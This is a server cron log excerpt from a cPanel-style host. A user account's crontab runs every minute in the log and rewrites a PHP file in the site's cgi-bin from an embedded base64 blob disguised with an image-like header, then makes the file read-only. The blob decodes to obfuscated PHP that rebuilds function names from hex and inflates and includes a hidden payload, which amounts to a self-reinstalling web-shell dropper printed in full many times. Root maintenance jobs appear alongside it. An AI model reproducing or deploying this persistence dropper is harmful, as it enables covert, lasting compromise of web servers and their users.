Nov  9 16:16:01 server CROND[3371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:17:01 server CROND[3775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:18:01 server CROND[4594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:19:01 server CROND[4982]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:20:01 server CROND[5656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 16:20:01 server CROND[5658]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 16:20:01 server CROND[5659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:20:01 server CROND[5661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:20:01 server CROND[5664]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:21:01 server CROND[6658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:22:01 server CROND[7562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:23:01 server CROND[8388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:24:01 server CROND[9381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:25:01 server CROND[10226]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:25:01 server CROND[10227]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:25:01 server CROND[10228]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:25:01 server CROND[10229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:26:01 server CROND[11169]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:27:01 server CROND[12102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:27:01 server CROND[12103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 16:28:01 server CROND[12430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
